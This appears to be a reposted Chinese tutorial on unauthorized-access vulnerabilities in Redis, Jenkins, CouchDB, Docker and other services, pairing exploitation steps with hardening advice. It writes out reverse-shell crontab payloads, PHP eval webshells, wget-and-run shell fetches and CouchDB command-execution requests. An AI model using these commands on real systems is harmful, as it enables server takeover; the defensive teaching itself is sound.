前言
今年5月,比特幣勒索病毒WannaCry席卷全球,國內眾多機構部門計算機系統癱瘓。根據之前應急響應的案例分析,以及一些安全報告統計,目前大部分的勒索病毒均利用未授權訪問等通用漏洞進行植入、勒索,尤其是Redis、MongoDB等數據庫的未授權訪問漏洞尤其嚴重。參見《【脈搏譯文系列】如何高效的應對勒索軟件》

0x01 介紹
未授權訪問可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷,導致其他用戶可以直接訪問,從而引發重要權限可被操作、數據庫、網站目錄等敏感信息泄露。
目前主要存在未授權訪問漏洞的有:NFS服務,Samba服務,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等,本文主要介紹一些目前比較常用的一些服務的未授權訪問,歡迎大家補充!
0x02 Redis未授權訪問
2.1 漏洞描述
Redis因配置不當可以未授權訪問。攻擊者無需認證訪問到內部數據,可導致敏感信息泄露,也可以惡意執行flushall來清空所有數據。如果Redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。
2.2 漏洞利用
1、利用計划任務執行命令反彈shell
在redis以root權限運行時可以寫crontab來執行命令反彈shell
先在自己的服務器上監聽一個端口
nc -lvnp 4444
然后執行命令:
redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
2、寫ssh-keygen公鑰登錄服務器
在以下條件下,可以利用此方法
- 1、Redis服務使用root賬號啟動
- 2、服務器開放了SSH服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。
此方法具體參考:redis配置不當可直接導致服務器被控制
3、獲取web服務的webshell
當redis權限不高時,並且服務器開着web服務,在redis有web目錄寫權限時,可以嘗試往web路徑寫webshell。
執行以下命令
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save
即可將shell寫入web目錄
2.3 漏洞加固
可以配置redis.conf這個文件,在安裝目錄下
- 1、默認只對本地開放
bind 127.0.0.1 - 2、添加登陸密碼
requirepass www.secpulse.com - 3、在需要對外開放的時候修改默認端口
port 2333 - 4、最后還可以配合iptables限制開放
0x03 Jenkins未授權訪問
3.1 漏洞描述
默認情況下Jenkins面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。
3.2 漏洞利用
1、Jenkins未授權訪問可執行命令
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
println "ifconfig -a".execute().text 執行一些系統命令
直接wget下載back.py反彈shell
println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text
2、Jenkins未授權訪問寫shell
jenskins是java web項目,我們用java的File類寫文件
new File("c://temp//secpulse.txt").write("""
1
2
3
""");
新建一個內容為1,2,3(每一行)的1.txt到c盤的temp文件夾,運行如下命令println “powershell dir c:\temp”.execute().text如果寫成功,那么secpulse.txt就會在返回結果中!
wget寫webshell
1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數-n 不要在最后自動換行
Result: 0 表示成功寫入
Result: 1 表示目錄不存在或者權限不足 寫入失敗
Result: 2 表示構造有異常 寫入失敗
具體其他詳細利用方法參考:知其一不知其二之Jenkins Hacking
3.3 漏洞加固
- 1、禁止把Jenkins直接暴露在公網
- 2、添加認證,設置強密碼復雜度及賬號鎖定。
0x04 MongoDB未授權訪問
4.1 漏洞描述
開啟MongoDB服務時不添加任何參數時,默認是沒有權限驗證的,而且可以遠程訪問數據庫,登錄的用戶可以通過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操作。
4.2 漏洞利用
4.3 漏洞加固
1、為MongoDB添加認證:
1)MongoDB啟動時添加--auth參數
2)給MongoDB添加用戶:
use admin #使用admin庫
db.addUser("root", "123456") #添加用戶名root密碼123456的用戶
db.auth("root","123456") #驗證下是否添加成功,返回1說明成功
2、禁用HTTP和REST端口
MongoDB自身帶有一個HTTP服務和並支持REST接口。在2.6以后這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,一般不需要通過web方式進行遠程管理,建議禁用。修改配置文件或在啟動的時候選擇–nohttpinterface 參數nohttpinterface=false
3、限制綁定IP
啟動時加入參數
--bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加以下內容:
bind_ip = 127.0.0.1
0x05 ZooKeeper未授權訪問
5.1 漏洞描述
Zookeeper的默認開放端口是2181。Zookeeper安裝部署之后默認情況下不需要任何身份驗證,造成攻擊者可以遠程利用Zookeeper,通過服務器收集敏感信息或者在Zookeeper集群內進行破壞(比如:kill命令)。攻擊者能夠執行所有只允許由管理員運行的命令。
5.2 漏洞利用
執行以下命令即可遠程獲取該服務器的環境:
echo envi | nc ip port
直接連接:
./zkCli.sh -server ip:port
5.3 漏洞加固
- 1、禁止把Zookeeper直接暴露在公網
- 2、添加訪問控制,根據情況選擇對應方式(認證用戶,用戶名密碼)
- 3、綁定指定IP訪問
0x06 Elasticsearch未授權訪問
6.1 漏洞描述
Elasticsearch是一款java編寫的企業級搜索服務。越來越多的公司使用ELK作為日志分析,啟動此服務默認會開放9200端口,可被非法操作數據
6.2 漏洞利用
漏洞檢測:默認端口9200
相當於一個API,任何人訪問這個地址,就可以調用api,進行數據的增刪改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river
6.3 漏洞加固
- 1、防火牆上設置禁止外網訪問9200端口。
- 2、使用Nginx搭建反向代理,通過配置Nginx實現對Elasticsearch的認證
- 3、限制IP訪問,綁定固定IP
- 4、在config/elasticsearch.yml中為9200端口設置認證:
http.basic.enabled true #開關,開啟會接管全部HTTP連接
http.basic.user "admin" #賬號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]
0x07 Memcache未授權訪問
7.1 漏洞描述
Memcached是一套常用的key-value緩存系統,由於它本身沒有權限控制模塊,所以對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者通過命令交互可直接讀取Memcached中的敏感信息。
7.2 漏洞利用
1、登錄機器執行netstat -an |more命令查看端口監聽情況。回顯0.0.0.0:11211表示在所有網卡進行監聽,存在memcached未授權訪問漏洞。
2、telnet <target> 11211,或nc -vv <target> 11211,提示連接成功表示漏洞存在
7.3 漏洞加固
- 1、設置memchached只允許本地訪問
- 2、禁止外網訪問Memcached 11211端口
- 3、編譯時加上–enable-sasl,啟用SASL認證
0x08 Hadoop未授權訪問
8.1 漏洞描述
由於服務器直接在開放了Hadoop機器HDFS的50070 web端口及部分默認服務端口,黑客可以通過命令行操作多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操作,產生極大的危害。
8.2 漏洞利用
主要HDFS和MapReduce的WebUI對應的服務端口。
其中比較重要的是DataNode 默認端口50075開放的話,攻擊者可以通過hdsf提供的restful api對hdfs存儲數據進行操作。
restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html
8.3 漏洞加固
- 1、如無必要,關閉Hadoop Web管理頁面
- 2、開啟身份驗證,防止未經授權用戶訪問
- 3、設置“安全組”訪問控制策略,將Hadoop默認開放的多個端口對公網全部禁止或限制可信任的IP地址才能訪問包括50070以及WebUI等相關端口,詳細端口列表如下:
a)HDFS
NameNode 默認端口 50070
DataNode 默認端口 50075
httpfs 默認端口14000
journalnode 默認端口 8480
b)YARN(JobTracker)
ResourceManager 默認端口8088
JobTracker 默認端口 50030
TaskTracker 默認端口 50060
c)Hue 默認端口 8080
d)YARN(JobTracker)
master 默認端口 60010
regionserver 默認端口60030
e)hive-server2 默認端口 10000
f)spark-jdbcserver 默認端口 10003
0x09CouchDB未授權訪問
9.1 漏洞描述
CouchDB默認在5984端口開放Restful的API接口,用於數據庫的管理功能。其HTTP Server默認開啟時沒有進行驗證,而且綁定在0.0.0.0,所有用戶均可通過API訪問導致未授權訪問。任何連接到服務器端口上的人,都可以調用相關API對服務器上的數據進行任意的增刪改查,其中通過API修改local.ini配置文件,可進一步導致執行任意系統命令,獲取服務器權限!
9.2 漏洞利用
新增query_server配置,這里執行ifconfig命令
curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一個臨時表,插入一條記錄
curl -X PUT 'http://x.x.x.x:5984/vultest'
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
調用query_server處理數據
curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
當然你也可以直接執行其他命令,下載個其他什么的
9.3 漏洞加固
1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機才能訪問CouchDB。
2、設置訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼
0x010 Docker未授權訪問
10.1 漏洞描述
Docker Remote API是一個取代遠程命令行界面(rcli)的REST API。通過 docker client 或者 http 直接請求就可以訪問這個 API,通過這個接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機的 shell
10.2 漏洞利用
http://192.168.198.130:2375/v1.25/images/json
可以獲取到所有的 images 列表
http://host:2375/containers/json
會返回服務器當前運行的 container列表,和在docker CLI上執行 docker ps
的效果一樣,過Post包我們還可以新建、開啟和關閉容器,其他操作比如拉取image等操作也都可以通過API調用完成。
$ curl http://10.10.10.10:2375/containers/json [] docker -H=tcp://10.10.10.10:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Docker remote Api未授權訪問的攻擊原理與之前的Redis未授權訪問漏洞大同小異,都是通過向運行該應用的服務器寫文件,從而拿到服務器的權限,常見的利用方法如下:
1、啟動一個容器,掛載宿主機的/root/目錄,之后將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys文件中,之后就可以用root賬戶直接登錄了
2、啟動一個容器,掛載宿主機的/etc/目錄,之后將反彈shell的腳本寫入到/etc/crontab中,攻擊者會得到一個反彈的shell,其中反彈shell腳本的樣例如下:
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab
第2種利用方法也可以掛載var/spool/cron/目錄,將反彈shell的腳本寫入到/var/spool/cron/root(centos系統)或/var/spool/cron/crontabs/root(ubuntu系統)
10.3 漏洞加固
1、在不必需的情況下,不要啟用docker的remote api服務,如果必須使用的話,可以采用如下的加固方式:
- 設置ACL,僅允許信任的來源IP連接;
- 設置TLS認證,官方的文檔為Protect the Docker daemon socket
2、客戶端連接時需要設置以下環境變量export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服務器前面加一個代理,例如 nginx,設置 401 認證
附:Python未授權訪問腳本
此腳本未做測試,請根據自身需求,修改測試使用!
參考文章
- https://www.secpulse.com/archives/55928.html
- https://www.secpulse.com/archives/49115.html
- https://www.secpulse.com/archives/6540.html
- https://xianzhi.aliyun.com/forum/mobile/read/750.html
- https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html
- https://www.secpulse.com/archives/2166.html
- https://github.com/findys/sunburst/
- https://yeasy.gitbooks.io/docker_practice/
轉載自:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3905.html